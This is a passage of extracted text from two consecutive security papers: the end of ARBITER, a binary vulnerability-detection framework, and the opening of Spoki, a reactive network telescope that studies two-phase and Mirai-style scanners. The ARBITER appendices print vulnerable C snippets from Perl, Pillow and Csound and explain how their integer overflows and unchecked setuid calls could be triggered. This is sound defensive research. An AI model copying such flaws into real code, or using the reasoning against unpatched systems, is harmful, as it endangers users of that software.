as shown in our evaluations against CodeQL and Infer, always
better than ARBITER). One that does not, the technique pro-
posed by Yang et al. [47], uses a machine learning model that
recognizes vulnerability patterns to detect them and reports
a precision of 1.00 and a recall of 0.995. Of course, models
trained to recognize vulnerable patterns in synthetic datasets
are prone to overfitting: Yang et al. report that the same model
trained on the Juliet Test Suite achieves a precision of 0.0036
and a recall of 0.539 when used on real world vulnerabilities
from the NVD database.

Importantly, none of these tools detected the faulty test
cases that ARBITER detected in the Juliet test case. For source-
code-based techniques, this is likely due to lack of modeling
for the corner case behavior of the abs function, which AR-
BITER does by functioning on the binary level. For machine-
learning techniques, this is likely due to training on Juliet’s
stated ground truth, which is inaccurate in this case.

9 Limitations and Discussion

ARBITER has a number of analysis limitations as well as
limitations on the type of vulnerabilities.

CWE coverage. ARBITER’s effectiveness is limited to CWE
types that can be classified as PC vulnerabilities as described
in Section 3. Some of the limitations of the PC requirement
stem from underpinnings of the static analyses used by AR-
BITER, specifically for quickly finding analysis targets and
supporting the limited analysis context. Others are imposed
by ARBITER’s use of symbolic execution to verify alerts.

An example CWE that does not satisfy ARBITER’s re-
quirements is CWE-362 (Race-Conditions). The difficulty of
identifying sinks (variables shared between threads) CWE-
362 violates P2, the need to reason about variable accesses
across thread contexts violates P3, and the impact of execution
sequence on the data flow analysis result violates P1.

Static analysis limitations. The static analysis must be able
to find the VD subjects first. Inlined functions, statically
linked, or stripped programs make this task harder but not
impossible. Furthermore, the analysis needs to recover the
control- and data-flow up to a certain quality. Large or ob-
fuscated programs can make this task harder and very time-
consuming, which affects the scalability of ARBITER. Finally,
as we saw in the evaluation, ARBITER does encounter is-
sues caused by classical static analysis problems, including
aliasing, resulting in an increase of false positive rates.

Dynamic analysis limitations. ARBITER’s dynamic compo-
nent must execute program slices using Under-Constrained

Symbolic Execution. The limitations of symbolic execution
are well known and effective solutions are still being studied.
If these slices are too large, the dynamic execution can suffer
state explosion, leading to slowdown or failure of this step.
Additionally, due to the under-constrained nature of our DSE
phase, ARBITER suffers from false positives through the lack
of scope and the corresponding constraints on the program
slice under test.

Take-away. As our evaluation results show, despite limita-
tions in its underlying techniques, ARBITER can (and does)
achieve actionable results on large-scale analyses of real-
world software. Analyzing 76,516 binaries with purely dy-
namic analysis is simply not feasible, and, until now, scalable
and precise static analysis techniques have not been devel-
oped. Despite its limitations, ARBITER takes an important
step toward practical, large-scale binary analysis.

VD Implementation. The first challenge in implementing
a VD is to understand the vulnerability type that is being
targeted. An analyst must match components of the target
vulnerability (e.g., as sources and sinks, data-flow properties)
with the corresponding properties for the VD in ARBITER.
Once this matching is performed, it is then relatively straight-
forward to implement the VD using ARBITER’s API. How-
ever, there are some edge cases that may only surface once
the VD has been implemented. During our evaluation, we
found (and fixed) some issues that caused a number of false
positives such as the case of Unrealistic Data Requirements
in Section 8.1.1 and the cases of the gettext family of func-
tions as described in Section 8.1.4. While new edge cases
can arise when implementing a new VD, we have found that,
once these edge cases were identified, fixing them was trivial.
More details about the specific implementations of existing
VDs in ARBITER is presented in Appendix B.

Applying ARBITER. Even though ARBITER’s false positive
rate of nearly 50% improves on state-of-art techniques that
target binary applications with similar scalability [38], prior
studies have shown that less than 20% of developers are will-
ing to accept false positive rates greater than 40% [9]. In our
experience, ARBITER’s results are best combined with man-
ual audits of the target application to verify if it is possible to
trigger the vulnerability condition, but these results could be
used in combination with existing dynamic approaches that
are aimed towards verifying static analysis reports which can
eliminate false positives [3, 22].

10 Conclusions

In this paper, we presented ARBITER, a novel framework,
combining the strengths of static and dynamic analysis tech-
niques for identifying complex security vulnerabilities in any
depth of a program at scale. Using ARBITER, we could verify
VDs on a substantial subset of Ubuntu package repositories,
identifying and reporting many security vulnerabilities.
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We envision that ARBITER will be used in the software
development life cycle and by security researchers to protect
software by analyzing and verifying VDs. To that end, we
have presented an in-depth evaluation of ARBITER, and we
are releasing it as an open-source framework.
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A Disclosures of Vulnerabilities Found by AR-
BITER

The following is a list of vulnerabilities that are found by
ARBITER and responsibly disclosed by the authors during the
course of this research project.

• CVE-2018-18311: Integer overflow in Perl before 5.26.3
• Integer overflow in Python-PIL 6

• Integer overflow in LibTIRPC 7

• Unchecked setuid in CSound 8

• Unchecked setuid in ping and ping6 in Inetutils 9

B Specializing ARBITER

We implemented ARBITER as a general analysis framework
that is designed to be easily specializable to detect instances of
specific vulnerability classes. In our framework, analysts im-
plement short vulnerability descriptions that specify sources,
sinks, and dynamic constraints. ARBITER, in turn, is imple-
mented in roughly 2,000 lines of Python on top of the angr
binary analysis engine (in which we modified roughly 140
lines of code to implement improvements necessary for AR-
BITER).

In this section, we describe the effort involved to special-
ize ARBITER to detect vulnerabilities in the four classes we
chose for our evaluation: CWE-131 — “Incorrect Calculation
of Buffer Size”, CWE-252 — “Unchecked Return Value”,
CWE-337 — “Predictable Seed in Pseudo-Random Number
Generator”, and CWE-134 — “Controlled Format String”.
ARBITER’s vulnerability descriptions are created by imple-
menting three functions:

specify_sources(binary): This function should return a
set of program locations (e.g., function names or addresses)
and variable specifications (for example, the return value, or
a specific argument to the function). These locations will
be used as sources to find potentially vulnerable flows in
ARBITER’s static analysis.
specify_sinks(binary): Similar to sources, this specifies
a set of variables to be used as sinks to find potential vulnera-
ble flows.
apply_constraint(state, sources, sink): When AR-
BITER detects, and symbolically analyzes, a potentially vul-
nerable flow, it uses this function to check the flow against a
symbolic vulnerability condition.

6https://github.com/python-pillow/Pillow/pull/3703
7http://git.linux-nfs.org/?p=steved/libtirpc.git;a=

commit;h=56b780e61ed4bae8b728a600fc5ac8052d0d3582
8https://github.com/csound/csound/pull/1335
9https://git.savannah.gnu.org/cgit/inetutils.git/

commit/?id=02a379763bf651a09b5cb728c1d6b811dc71d021

These vulnerability specifications are concise enough to in-
clude in this section.
CWE-131: Incorrect Calculation of Buffer Size.

cwe131.py
1 def specify_sources(binary):
2 return {} # defaults to function arguments
3

4 def specify_sinks(binary):
5 return { "malloc": 0 } # first argument to malloc
6

7 def apply_constraint(state, sources, sink):
8 for source in sources:
9 if source.length < sink.length:

10 #equalize bit length of source and sink
11 source = source.zero_extend(sink.length-source.length)
12 state.solver.add(sink < source)

CWE-252: Unchecked Return Value.

cwe252.py
1 def specify_sources(binary):
2 # specify return values (index 0 in arbiter) of
3 # security-relevant system calls
4 return {
5 'access': 0, 'chdir': 0, 'chown': 0,
6 'chroot': 0, 'mmap': 0, 'prctl': 0,
7 'setrlimit': 0, 'stat': 0, 'setuid': 0,
8 'setgid': 0, 'setsid': 0, 'setpgid': 0,
9 'setreuid': 0, 'setregid': 0, 'setresuid': 0,

10 'setresgid': 0
11 }
12

13 def specify_sinks(binary):
14 # arbiter shorthand for the return value
15 # of the _caller_ of these functions
16 return [
17 'access', 'chdir', 'chown',
18 'chroot', 'mmap', 'prctl',
19 'setrlimit', 'stat', 'setuid',
20 'setgid', 'setsid', 'setpgid',
21 'setreuid', 'setregid', 'setresuid',
22 'setresgid'
23 ]
24

25 def apply_constraint(state, sources, sink):
26 if state.satisfiable(
27 extra_constraints=[sources[0] == -1]
28 ):
29 # target function allows both negative and
30 # positive values (indicating absence of
31 # checks)
32 state.solver.add(sources[0] == 0)
33 else:
34 # reject the state by making it unsatisfiable
35 state.solver.add(False)

CWE-134: Controlled Format String.

cwe134.py
1 def specify_sources(binary):
2 return {} # defaults to function arguments
3

4 def specify_sinks(binary):
5 # the format argument of string formatters
6 return {
7 'printf': 0, 'fprintf': 1, 'dprintf': 1,
8 'sprintf': 1, 'vasprintf': 1, 'snprintf': 2,
9 'fprintf_chk': 2, 'dprintf_chk': 2,

10 'sprintf_chk': 3, 'vasprintf_chk': 2,
11 'asprintf_chk': 2, 'snprintf_chk': 4,
12 }
13

14 def apply_constraint(state, sources, sink):
15 # check for the format string in the ELF
16 addr = state.solver.eval(sink, cast_to=int)
17 elf_address = \

428    31st USENIX Security Symposium USENIX Association

https://github.com/python-pillow/Pillow/pull/3703
http://git.linux-nfs.org/?p=steved/libtirpc.git;a=commit;h=56b780e61ed4bae8b728a600fc5ac8052d0d3582
http://git.linux-nfs.org/?p=steved/libtirpc.git;a=commit;h=56b780e61ed4bae8b728a600fc5ac8052d0d3582
https://github.com/csound/csound/pull/1335
https://git.savannah.gnu.org/cgit/inetutils.git/commit/?id=02a379763bf651a09b5cb728c1d6b811dc71d021
https://git.savannah.gnu.org/cgit/inetutils.git/commit/?id=02a379763bf651a09b5cb728c1d6b811dc71d021


18 state.project.loader.find_section_containing(addr)
19 if elf_address is not None:
20 state.solver.add(False)

CWE-337: Predictable Seed in PRNG.
cwe337.py

1 def specify_sources(binary):
2 # return value of time()
3 return { "time": 0 }
4

5 def specify_sinks(binary):
6 # first argument of srand()
7 return { "srand": 0 }
8

9 def apply_constraint(state, sources, sink):
10 # no constraints --- purely a data flow problem
11 pass

C Performance Evaluation

In order to evaluate the performance of ARBITER, we exe-
cuted the integer overflow detection described in Section 3.1
on all 105 binaries in the well-tested coreutils suite. It took a
total of 884 seconds for ARBITER to analyze 27,608 functions
and locate sources and sinks in 763 of them.

During the data flow recovery step, ARBITER experienced
failures in the underlying angr framework for 62 of the 763
functions. For the remaining 701 cases, it successfully ex-
tracted data flows to 1,303 allocator call sites. Out of these,
364 had constant sizes (no data dependency), and 939 resulted
in paths representing data flows allocator call sites across 567
functions. This phase took a total of 4,585 seconds.

ARBITER then symbolically executed each path with
Under-Constrained Symbolic Execution, resulting in 45 fail-
ures due to implementation problems, 251 timeouts (with the
default 10-minute timeout per flow), 133 failures to find a
satisfiable path (i.e., as result of over-approximation of static
analysis), and 510 data flow predicates. This step took a total
of 15,705 seconds.

Checking these 510 predicates against the VD description
resulted in 124 candidate alerts. However, after performing
its adaptive false positive filtering to a level of two callers,
ARBITER successfully eliminated all 124 false positives.

D Detailed Evaluation Results

We detail the binaries, functions, identified sinks, determined
data flows, explored paths, analyzed states, and raised alerts in
the large-scale evaluation on CWE-131, CWE-134, CWE-252,
and CWE-337 in Table 6.

E Case Studies

For the voracious reader, we present a number of case studies
of select bugs identified by ARBITER.
Case Study: Integer Overflow in Perl. ARBITER found a
vulnerability that was present in versions of the Perl runtime

Listing 2 Part of the Perl source code that contains the Perl_my_setenv
function, where ARBITER detected an integer overflow in line 14. The vul-
nerability was assigned to CVE-2018-18311.

1 #define my_setenv_format(s, nam, nlen, val, vlen) \
2 Copy(nam, s, nlen, char); \
3 *(s+nlen) = '='; \
4 Copy(val, s+(nlen+1), vlen, char); \
5 *(s+(nlen+1+vlen)) = '\0'
6

7 void
8 Perl_my_setenv(pTHX_ const char *nam, const char *val)
9 {

10 ...
11 const int nlen = strlen(nam);
12 const int vlen = strlen(val);
13 char * const new_env = (char*)safesysmalloc(
14 (nlen + vlen + 2) * sizeof(char));
15 my_setenv_format(new_env, nam, nlen, val, vlen);
16 ...

Listing 3 Part of the Pillow source code that contains an integer overflow in
line 5.

1 int
2 ImagingMemorySetBlocksMax(ImagingMemoryArena arena, int blocks_max){
3 ...
4 else if (arena->blocks_pool != NULL) {
5 p = realloc(arena->blocks_pool, sizeof(*arena->blocks_pool) *
6 blocks_max);
7 ...

before 5.28. It could lead to heap overflows and potentially to
arbitrary code execution. The relevant source code snippet is
shown in Listing 2.

The function Perl_my_setenv is called when the user de-
cides to initialize the value of an environment variable. The
variables nam and val are the environment variable’s name
and value, respectively. In this function, the two 32-bit inte-
gers nlen and vlen are used to store the length of the nam and
val string, respectively. These integers are then added together
along with the constant 2, and the sum is used to allocate a
buffer on the heap.

The addition at line 14 in Listing 2 is the point where this
arithmetic can lead to an integer overflow, which subsequently
leads to a small buffer being allocated. At line 15, the function
my_setenv_format copies the two strings separately to the
newly created buffer, which results in a heap buffer overflow
with controlled input. This vulnerability was assigned CVE-
2018-18311 and has now been fixed. However, it is interesting
to note that this vulnerability was introduced in 2001 and
remained undetected until 2018.
Case Study: Integer overflow Vulnerability in Pillow. AR-
BITER found another vulnerability in the python-pil package,
which we reported to the maintainers and has since been fixed.
The vulnerability occurs in the function ImagingMemorySet-
BlocksMax and a snippet of the relevant code is provided in
Listing 3.

The integer overflow vulnerability occurred at line 5 when
the 32-bit signed integer blocks_max is multiplied with a con-
stant, which is then used as the second argument to the func-
tion realloc. In a 64-bit environment, the second argument to

USENIX Association 31st USENIX Security Symposium    429



CWE CWE-131 CWE-134 CWE-252 CWE-337

Starting binaries 76,516 76,516 76,516 76,516

Recon binaries / functions 42,611 / 980,758 42,690 / 1,233,827 14,228 / 96,715 3,207 / 4,554

DDA analyzed binaries / functions / flows 41,796 / 788,970 / 1,307,990 42,366 / 1,044,218 / 3,311,716 14,103 / 88,399 / 84,359 3,206 / 4,490 / 5,074

DDA identified binaries / functions / sinks 36,696 / 346,701 / 692,501 26,576 / 192,846 / 429,711 13,485 / 55,388 / 55,388 3,106 / 4,083 / 4,641

UCSE analyzed binaries / functions / paths 29,577 / 209,217 / 145,167 19,410 / 103,926 / 87,383 12,081 / 47,913 / 73,823 2,849 / 3,622 / 3,414

UCSE identified binaries / functions / states 11,495 / 24,781 / 31,436 13,460 / 39,276 / 39,305 1,851 / 2,388 / 4,413 2,239 / 2,661 / 2,741

FP1 binaries / functions / states 1,916 / 2,693 / 3,310 3,013 / 4,891 / 4,894 310 / 686 / 942 247 / 277 / 281

FP2 binaries / functions / states 695 / 928 / 1,037 420 / 489 / 489 71 / 71 / 126 83 / 92 / 92

FP3 binaries / functions / states 270 / 318 / 351 183 / 221 / 222 58 / 58 / 107 42 / 45 / 45

Main binaries / functions / states 121 / 161 / 181 16 / 25 / 39 / 68 / 77 / 101 328 / 347 / 352

Final alerts 436 158 159 377

Table 6: Summarizing the results of the experiments for 4 templates targeting 4 types of CWEs. This table shows the detailed output for each of ARBITER’s
analyses. Main binaries are those binaries in which a false positive reduction step reached the “main()” function as a caller. In this case, ARBITER reports the
alert (as no further FP reduction is possible). Because of how the data was logged, there is an overlap between the binaries/functions/alerts in Main and FP3. The
Final alerts contains the total number of alerts for each CWE type after filtering out alerts that do not correspond to the list of sinks we use for each CWE type.

Listing 4 Pillow code of the calling context of function ImagingMemorySet-
BlocksMax. The check in line 7 prevents the integer overflow, that ARBITER
detected, in a 64-bit environment. On a 32-bit architecture, however, an
integer wrap-around can be achieved with a positive value, hence, the vulner-
ability is triggerable.

1 static PyObject*
2 _set_blocks_max(PyObject* self, PyObject* args)
3 {
4 int blocks_max;
5 if (!PyArg_ParseTuple(args, "i:set_blocks_max", &blocks_max))
6 return NULL;
7 if (blocks_max < 0) {
8 PyErr_SetString(PyExc_ValueError,
9 "blocks_max should be greater than 0");

10 return NULL;
11 }
12 ...
13 ImagingMemorySetBlocksMax(&ImagingDefaultArena, blocks_max);
14 ...

realloc is a 64-bit value whereas blocks_max is a 32-bit value.
Since blocks_max is a signed integer, it gets sign-extended to
a 64-bit value. In this situation, the only way that an integer
overflow occurs is if the sign extension results in a large 64-bit
value, which in turn only occurs if the initial blocks_max is a
negative value. However, if we look at the code that invokes
this ImagingMemorySetBlocksMax function, we see that this
vulnerability cannot be triggered. The relevant code is shown
in Listing 4.

The PyArg_ParseTuple is used to extract a 32-bit inte-
ger value from the args object and store the result in the
blocks_max variable. We can see that this value is immedi-
ately compared with the value 0, and an error is generated if
it is found to be lower. Therefore, there is no possible way of
triggering this vulnerability in a 64-bit environment.

However, in a 32-bit environment, the second argument to
realloc is a 32-bit value, which makes it possible to generate
a positive value that can wrap around the 32-bit integer space
during the multiplication. We were able to find such a positive
value that would result in a value of 0 after multiplication.
According to the description of realloc, when the second
argument is 0, it is equivalent to calling free. Without the
pointer being set to NULL, this ends up being a Use-After-
Free (UAF) scenario. We reported this vulnerability to the

Listing 5 Attempting to drop privileges before creating log file inside
Csound.

1 int set_rt_priority(int argc, const char **argv)
2 {
3 ...
4 ignore_value(setuid(getuid()));
5 ...
6 }

maintainers and also submitted a patch, which has since been
merged. However, the maintainers argued that since triggering
this vulnerability required arbitrary python execution, it could
not be considered as a security risk.
Case Study: Unchecked RetVal in Csound. As described
in the example in Section 3.2, a usual pattern of dropping priv-
ileges in a binary with SETUID capability involves invoking
getuid to get the actual user ID of the user who started the
process. This is immediately followed by invoking setuid to
change the user ID of the process to the real user ID from the
effective user ID. However, when the software does not check
to see if setuid dropped the privileges successfully, it might
lead to privilege escalation.

We found multiple instances of such behaviour in Csound.
The relevant source code snippet is shown in Listing 5. The
the setuid is invoked inside the function set_rt_priority to drop
root privileges. After this function set_rt_priority returns, the
program then creats a log file that is then written to.

In this case, if the setuid fails, the log file that would be left
on the machine would be owned by root which is a dangerous
situation. Since, disregarding the return values of important
API functions like setuid can lead to security vulnerabilities,
compilers often generate warnings to report a situation where
the return value of such an API is unused. However, in the
snippet shown in Listing 5, the ignore_value macro is used to
suppress a compiler generated warning. We have submitted a
patch for this vulnerability and it has now been fixed.
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Abstract
Large-scale Internet scans are a common method to identify
victims of a specific attack. Stateless scanning like in ZMap
has been established as an efficient approach to probing at
Internet scale. Stateless scans, however, need a second phase
to perform the attack. This remains invisible to network tele-
scopes, which only capture the first incoming packet, and is
not observed as a related event by honeypots, either. In this
work, we examine Internet-wide scan traffic through Spoki,
a reactive network telescope operating in real-time that we
design and implement. Spoki responds to asynchronous TCP
SYN packets and engages in TCP handshakes initiated in
the second phase of two-phase scans. Because it is extremely
lightweight it scales to large prefixes where it has the unique
opportunity to record the first data sequence submitted within
the TCP handshake ACK. We analyze two-phase scanners
during a three months period using globally deployed Spoki
reactive telescopes as well as flow data sets from IXPs and
ISPs. We find that a predominant fraction of TCP SYNs on
the Internet has irregular characteristics. Our findings also
provide a clear signature of today’s scans as: (i) highly tar-
geted, (ii) scanning activities notably vary between regional
vantage points, and (iii) a significant share originates from
malicious sources.

1 Introduction

Today’s Internet is under constant attack [2,29]. Host scanning
is instrumental to discover vulnerable services, create botnets,
and launch cyberattacks. Recent stateless scanning techniques
that send out handcrafted TCP SYN packets without utilizing
the operating system’s TCP/IP stack have advanced speed,
scalability, and outreach of malicious scanners—a prominent
example of which has been Mirai [3]. Stateless TCP scanners
that are seeking more information than open ports need to
return to their potential victims with a regular TCP handshake;
in this paper we denote them as two-phase scanners.

Network telescopes are valuable instruments to monitor
the state of the Internet. They collect Internet background
radiation (IBR), which grants insight into the current threat

level of the Internet [9]. One of the major sources of IBR are
scanners that systematically send probes to regions of the IP
address space to identify vulnerable hosts. Naturally, network
telescopes detect such behavior [13]. Nevertheless, telescopes
are passive measurement instruments and the second phase
of two-phase scanners remains invisible to them.

In this work, we extend the measurement approach of net-
work telescopes by a reactive response to TCP SYN packets.
With our reactive network telescope we are able to measure
and analyze the behavior of two-phase scanners in a level
of detail previously impossible. Our key contributions and
findings are as follows:

1. We design and develop Spoki, a lightweight reactive
component that responds in real-time to TCP SYN pack-
ets received by the telescope. Spoki tries to provoke a
second scan phase by interacting with TCP sources and
establishing connections when possible. Since second
phases can originate from different ports, we correlate
source addresses with timing to match stateless scans
to their “heavyweight” follow-up probes. This approach
comes with real-time requirements, as the client-side
state is sensitive to response delays. Spoki can handle
many connections simultaneously and serve network
telescopes that span /8 IPv4 prefixes.

2. We deploy and leverage a global measurement system
that consists of two primary reactive telescopes (in the
US and Europe), four control telescopes (US, Europe,
Oceania), and two flow collectors from the Internet core
(an Asian ISP and a European IXP). We find that state-
less SYN scanning contributes more than two-thirds
of TCP SYN traffic. About a third of these scanning
hosts reply to our connection offers and can be attributed
to two-phase scanners.

3. We perform an in-depth study of two-phase scanners,
including their behavior, service targets, and (unspoofed)
origins. We find that the activities of two-phase scan-
ners are significantly more targeted than common
one-phase scanners. This includes the contacted ser-
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Figure 1: Share of IPv4 packets with a T T L> 200 since 2013.

vices, temporal orchestration, and proximity of sources.
When comparing data from our two reactive telescopes,
we even see a clear signature of destination-specific ser-
vice port selection of the scanners.

4. We leverage Spoki also to capture the first data sequence
of the scanner and perform a detailed content analysis.
Our findings reveal extensive banner grabbing, but also
repeated signatures of well-known exploits in particular
of home routers, mobiles, and IoT devices. We are able
to monitor shell code activities, as well as injections of
code, some of which are unseen in public sources.

5. We measure and analyze localized two-phase scanning.
To our surprise, scanning activities in Europe largely
peak at sources from the same /16 covering IP prefix
as the victims, whereas similar localization patterns are
not present in the US or Asia. We verify these results
through an extensive flow-data analysis.

To the best of our knowledge, this work is the first to sys-
tematically study two-phase scanners using a reactive net-
work telescope. Our findings shed light on a rapidly growing
ecosystem of highly performant malicious actors.

2 The Rise of Irregular TCP SYNs

In this section, we present our initial observations that moti-
vate this study. Specifically, we discuss reasons behind—and
quantify the amount of—irregular TCP/IP packets in traffic
measured at different vantage points in the Internet.

2.1 Regular versus Irregular TCP/IP Packets

Regular applications use the TCP/IP stack of an operating
system to build and transmit packets. Few exceptions hand-
craft packets using raw sockets, mainly to accelerate scan-
ning [16, 22, 30, 35] or to explicitly set header field val-
ues [21, 25]. We consider packets to be irregular if their
header values differ from common system stack behavior,
e.g., by their TTL value.

Figure 1 plots the growth of IPv4 packets with a TTL larger
than 200 as the share of all packets since 2013, monitored in
a large network telescope which spans the majority of a /8
IPv4 prefix. This telescope is used frequently to understand
the state of the Internet, e.g., [5, 12, 13]. To our surprise, we
observe a steep rise over seven years up to the current share
of around 80%. Such a high share is uncommon in regular
traffic, as the prevalent operating systems use lower default
values for TCP packets [49]. Monitoring TTL values as an
indicator for irregular traffic is a well-known technique that
has been explored in various contexts [5, 28].

To confirm that irregular packets are not a local phe-
nomenon or specific to this vantage point, we compare the
telescope data with two additional vantage points, a large,
regional European Internet Exchange Point (IXP) and an in-
tercontinental link of an Asian Internet Service Provider (ISP).
We do not disclose the specific locations of these vantage
points since they belong to commercial entities.

Among the packets that have high TTL values, we notice
a significant portion of TCP packets without TCP options,
another irregularity. The OSes dominant on the Internet offer
several options during TCP handshake including “maximum
segment size”, “SACK permitted”, timestamps, and a window
scale. Figure 2 compares the shares of TCP SYN packets with
a TTL value above 200 or without TCP options in relation
to all TCP SYN packets. The shares largely overlap since
many packets exhibit both characteristics. While irregular
traffic is not surprising in the telescope data (Figure 2a), the
share of irregular SYNs in the regular IXP and ISP traffic
still rises well above 50% and spikes up to 90% (Figure 2b,
Figure 2c). This phenomenon appears prevalent at all three
vantage points.

Irregular SYN packets not only dominate in quantity, they
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(a) Network telescope data collected in the US.
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(b) IXP flow data collected in Europe.
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(c) ISP packet captures collected in Asia.

Figure 2: Overview of irregular TCP SYN packets at different vantage points, relatively to all TCP SYN packets.
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also cover a much wider port range. While more than 40% of
the regular SYN packets in each telescope focus on Windows
vulnerabilities (445, 3389, 1433), irregular SYNs try to con-
tact a large variety of services including SSL, SMTPS, 3074
(Xbox), and gaming ports. Further activities narrow down to
responding ports in two-phase scans as discussed below.

Examining the packets in more detail, we notice an IP ID of
54321 in 5% of all irregular packets. This value is well-known
to be used by ZMap [16], the first widely deployed stateless
scanner. We will now argue that the different traffic features
of irregular packets relate to two-phase scans and that this
type of scans may have malicious intent.

2.2 Two-phase Scanning
By manually analyzing network traces and the open source
code of popular scanning tools, we find that stateless scans
use irregular TCP SYNs as probe packets. Instead of using the
TCP stack of the operating system to issue probes, stateless
scanners handcraft and send SYN packets from user space.
Encoding schemes such as SYN cookies [21] are further
used to match response packets to the initial probes. This
lightweight approach eliminates the need for local state, thus
abandons memory constraints and speeds up Internet-wide
scans.

Traditional scans establish a TCP connection and can then
gather information from running services, e.g., through banner
grabbing or port-specific payloads. Stateless scanners often
implement this step only in a second (stateful) phase, such that
they only connect to targets identified as responsive through
the (stateless) first phase (see Figure 3). This two-phase ap-
proach drastically reduces the complexity of scanning and
gives both researchers and attackers the ability to efficiently
probe large parts of the IPv4 address space.

Another way of thinking about this scan methodology is
by protocol layers. The first phase tests connectivity on the
transport layer before the second phase checks the application
layer. This separation into phases only pays off due to the
extra round trip required for TCP to send the application layer

payload. UDP can check both layers with the first packet and
does not need a second phase. Hence, we focus on TCP.

The Mirai botnet is known to have used such a multi-phase
scan method to find potential victim hosts using lightweight
stateless scans before brute-forcing the login credentials in
a second phase [3]. The infection itself was performed asyn-
chronously once valid login credentials were discovered.

For the purpose of this paper, we denote a scanner as an
entity or program that sends probes to one or more remote
host with the goal to find hosts that react in a certain way
to the packets or their payload. Such a behavior could be
a specific response message or a triggered action in a local
process.

2.3 Malicious Activities
We now show that irregular SYNs and two-phase scanning are
largely used for malicious activities. An activity is ‘malicious’
if it has the intent to impede a host functionality, accesses
it or use its resources without consent of the owner, or per-
form other harmful activities that involve the system. We use
‘attack’ for a targeted action with a malicious purpose.

To this end, we analyze the first significant increase of
irregular scans at the end of 2016 (see Figure 1) in more detail
and hypothesize that these relate to the Mirai botnet [3, 26].
We use data from our IXP vantage point because its traffic
provides an inter-domain view, covering multiple networks
and giving additional insights compared to honeypots [41].

Starting on Sep. 2016, Mirai performed several distributed
denial-of-service (DDoS) attacks [3] that led to the largest at-
tacks recorded to date. The Mirai method was adopted quickly
due to its efficient implementation of stateless scanning and
the misuse of insecure default passwords in IoT products. At
its prime, Mirai controlled 400k bots. The public release of
the Mirai source code enabled a quick spread of new variants.
These botnets slightly diverge from the original implementa-
tion but follow the same two-phase scanning approach.

The original Mirai bot sent TCP packets with a sequence
number set to the destination IP address instead of a random
32-bit integer. We observe a clear increase of such packets in
mid Sep. 2016 (see Figure 4). Even though the original Mirai
implementation used a fixed TTL value of 64, later variants
utilized higher TTLs as well. Figure 5 shows the distribu-
tion of TTLs in traffic with the Mirai fingerprint per common
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Figure 4: Number of TCP SYNs with Mirai sequence number
fingerprint and TCP SYNs with a TTL > 200 at the EU IXP.
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Figure 5: Violin plot of the IP TTL distributions of various
Mirai variants. Variants that emerged in Dec. 2016 (marked
red) also utilized high TTLs.

target port from Oct. 2016 to Jan. 2017. This evolution led
to the increase of high TTL SYNs at the IXP in Dec. 2016,
consistently with our telescope observations in Figure 1. We
also observe an increased number of Mirai-like bots targeting
ports commonly attacked by Mirai, which is well-known to
have inspired a variety of successors [50] changing finger-
prints [3]. Nearly all scans were initiated by different source
IP addresses, and most of the IP addresses belong to differ-
ent /24 IP prefixes. This highlights a distributed set of hosts,
which is common for distributed botnets but not for research
scanners.

To summarize, we conjecture that the Mirai stateless scan
engine and its public source code paved the way for new
malware, which incorporated its functionality but avoided
the exact same fingerprint. A steady growth of irregular TCP
SYNs on the Internet lets us observe the consequences of
Mirai, though. Reviewing the rise of packets with high TTLs
in Figure 1 two time points stand out. The first rise in high
TTL packets happened around 2014, which correlates with
the release of ZMap in 2013 [16]. A second, higher increase in
high TTL packets at the end of 2016 matches the observations
in Figure 4. From the respective shares of high TTL packets
among all packets the impact of the Mirai release was bigger
than the impact of the ZMap release, which could indicate
a strong use of irregular SYNs among malicious actors. In
Section 4.1 we will present more evidence that two-phase
scanning is used for malicious activities to date.

2.4 Revealing Two-phase Scanners
To further analyze irregular SYN scanning, and in particular
learn about two-phase scanner activities, we built a system
that interacts with SYN sources and actively engages in the
second phase (see Section 3 for details). In the remainder of
this paper, we mark any TCP SYN packet as irregular SYN if it
exhibits one or more of the following three characteristics: (i)
TTL > 200, (ii) no TCP options, (iii) an IP ID of 54321. While
this feature set represents our current fingerprint of two-phase
scanners, tools can evolve to use different values and evade
the present detection scheme. Stateless scanning, however,

Regular SYN Irregular SYN

Nothing RST Handshake Nothing RST HandshakeRegular SYN

Nothing RSTHandshake

First Phase

Second Phase

Payload

Nothing to hideInternet Background Radiation
We respond with a SYN-ACK

Figure 6: Taxonomy of observed scan events.

which comprises the first phase, requires pre-cached, hand-
crafted headers that will be detectable by some eventually
altered feature set. Hence, our methodology of fingerprinting
two-phase scanners will remain feasible with appropriately
changing parameters.

Just like a regular host, our system accepts incoming TCP
connections and collects payload on success. Unlike a regu-
lar host, our system listens on all IP addresses and ports of
an otherwise unutilized IP prefix1, i.e., it acts as a reactive
network telescope.

Figure 6 depicts a taxonomy of observed scan events. SYN
packets that arrive at our vantage point can be split into regular
and irregular SYNs. We reply with a SYN-ACK in both cases
and the remote host either ignores our response, replies with
a RST, or completes the TCP handshake with an ACK. In the
events we look for, the sender appears to ignore our SYN-
ACK response to an irregular SYN, but shortly after reaches
the same IP address and port with a regular SYN in a second
phase (right branch of our taxonomy in the figure). Once the
handshake of the second phase is complete, we collect the
payload and reset the connection after a short delay.

This classification is not possible in traditional telescopes,
which do not engage in the second phase. Honeypots can
observe both phases, but they normally neither correlate the
events nor do they analyze irregularities in received packets.
Performing these steps in real-time is a unique feature of our
detection system.

A second SYN packet can follow a regular TCP SYN as
well. We found one order of magnitude fewer of these cases
and they almost never carried content. We were able to at-
tribute 20% of them to well-known scanning projects such as
Shodan, while 75% are rare events (≤ 4 SYN/month). These
observations confirm that irregular SYN packets are charac-
teristic for the two-phase events we want to investigate.

Figure 7 compares the total number of source IP addresses
contacts per day with the number of these sources that follow
the two-phase scanner pattern as observed from Apr. through
Jun. 2020. (We exclude addresses of known scan projects—
see Section 4 for details). Both our vantage points see a con-
sistent share of around 30% sources that perform two-phase
scans. The drops in a few specific days are due to data loss.

1Both our telescopes use dark IP space that was unused for a long time.
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Figure 7: Share of observed two-phase sources among sources
that send TCP SYN packets, collected in the US. Very similar
results are visible at our EU telescope (see Appendix B).

Irregular SYNs are significant in telescope (i.e., unsolicited)
traffic and hold a noticeable share in flow data of generic
traffic (e.g., visible at a large IXP). Our observations show a
relatively stable share of about 30% sources that perform two-
phase scans in the telescope. These sources are responsible
for a much greater share of packets when also considering
regular scanner behavior. Understanding the behavior of these
scanners as well as their intentions is of interest considering
their involvement in major security incidents in the past.

3 Spoki: A Reactive Network Telescope

We now introduce Spoki, our real-time reactive network tele-
scope. Spoki supports both the analysis of arriving traffic and
active measurements to track the behavior of the sources.

Designing Spoki faces the following challenges. First,
Spoki needs to be scalable in terms of traffic volume and
